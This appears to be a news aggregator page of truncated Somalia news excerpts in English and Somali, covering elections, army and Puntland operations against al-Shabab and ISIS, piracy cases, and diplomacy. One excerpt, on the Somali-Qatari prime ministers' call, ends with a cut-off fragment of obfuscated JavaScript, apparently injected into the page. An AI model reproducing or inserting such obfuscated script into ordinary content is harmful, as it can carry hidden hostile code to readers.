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In spite of an agreement stating elections for Somaliland are to be held in Mogadishu, some analysts say the decision is far from fully agreed Somalia is rushing against time to resolve two critical issues on its electoral plan with polls scheduled to begin on July 25. Officials in Mogadishu were this week reconciling two ‘camps’ wrangling over who should lead...

Security forces retook a key town in Somalia's central Mudug region from al-Shabab terrorists on Sunday, officials said. "The Gorgor commandos of the national army today attacked al-Shabab terrorists in the Qodqod area of Mudug region, where the terrorists suffered casualties including deaths, injuries, and destruction," the Somali military said in a statement. The town was recaptured by the Somali army...

Five Somali nationals suspected of piracy were acquitted on Friday after the Seychelles Supreme Court found that there was not enough evidence to support the charges. The Supreme Court ruled that at the time of the men's apprehension they had not been found to be doing anything illegal and did not have any illegal weapons with them. The five men were...

South Korea is to airlift all troops of the anti-piracy Cheonghae unit from the coast of Somalia after six people on board a destroyer tested positive for the novel coronavirus. The country's defense ministry said Friday that Seoul will send aerial tankers to the Cheonghae Unit, currently on a mission aboard the 4,400-ton Munmu the Great destroyer, after 80 out...

Puntland Security Minister Abdisamad Gallan held a press conference at the presidential palace in Bossaso, detailing Puntland's battles with al-Shabaab and ISIS in the mountains of the Bari region. Gallan said Puntland forces had made significant gains in the fighting, taking control of large swathes of territory controlled by ISIS and al-Shabab. The first battle took place from June 7 to...

The Prime Minister of Somalia Mohamed Hussein Roble and his Qatari counterpart Sheikh Khalid Bin Khalifa Bin Abdulaziz Al Thani held telephone talks on Thursday. The two leaders discussed strengthening and developing relations and cooperation between the two brotherly countries. Somali Prime Minister Roble briefed his Qatari counterpart on the government's progress in security and elections. function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2;return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function...

Somali Government forces on the outskirts of Ba'adweyne in the South of Mudug region on Friday morning foiled a suicide attack aimed at targeting an army base, officials said. The driver of the vehicle was reportedly shot dead by the Somali National Army, and the car exploded around the military base. According to reports, only the driver of the vehicle was...

Madaxweynaha Dowlad Deegaanka Soomaalida Mustafa Muxumed Cagjar ayaa qoraal uu soo dhigay bartiisa Faceebook ku sheegay in dagaalka ka socda Itoobiya uu u dhaxeeyo kooxda TPLF oo uu argagixiso ku tilmaamay iyo dawlada Itoobiya. "Dagaalka ka socda Waqooyiga Itoobiya wuxuu u dhaxeeyaa argagixisada TPLF iyo dawlada federalka Itoobiya, ee uma dhaxeeyo laba deegaan oo dhul isku haysta. Waxaa argagixisada TPLF...

Ciidamada dowladda ee ku sugan afaafka hore ee deegaanka Bacaadweyne ee Koofurta Gobolka Mudug ayaa saaka fashiliyay weerar ismiidaamin ah oo loo adeegsanayay gaari land cruiser ah oo laga soo baxay walxaha qaraxa, sida ay shaaciyeen saraakiisha ammaanka. Ciidamada Xoogga dalka ayaa lagu soo warramayaa inay toogteen wadihii gaari, waxaana halkaasi ku qarxay gaarigii, sida ay xaqiijiyeen saraakiishu. Wararka ayaa sheegaya...

Wasiirka Amniga Puntland Cabdisamed Gallan shir jaraa’id ku qabtay guriga madaxtooyada Boosooso ayaa faahfaahin ka bixiyay dagaalo Puntland la gashay Al-shabaab iyo Daacisho oo ka dhacay buuraleyda gobolka Bari. Gallan ayaa sheegay in ciidamada Puntland ay guulo waaweyn ka gaareen dagaaladaas, ayna kula wareegeen deegaano badan iyo talisyo ay lahaayeen Daacish iyo Al-shaaab. Dagaalka kowaad oo socday 7 bishii Jun ilaa...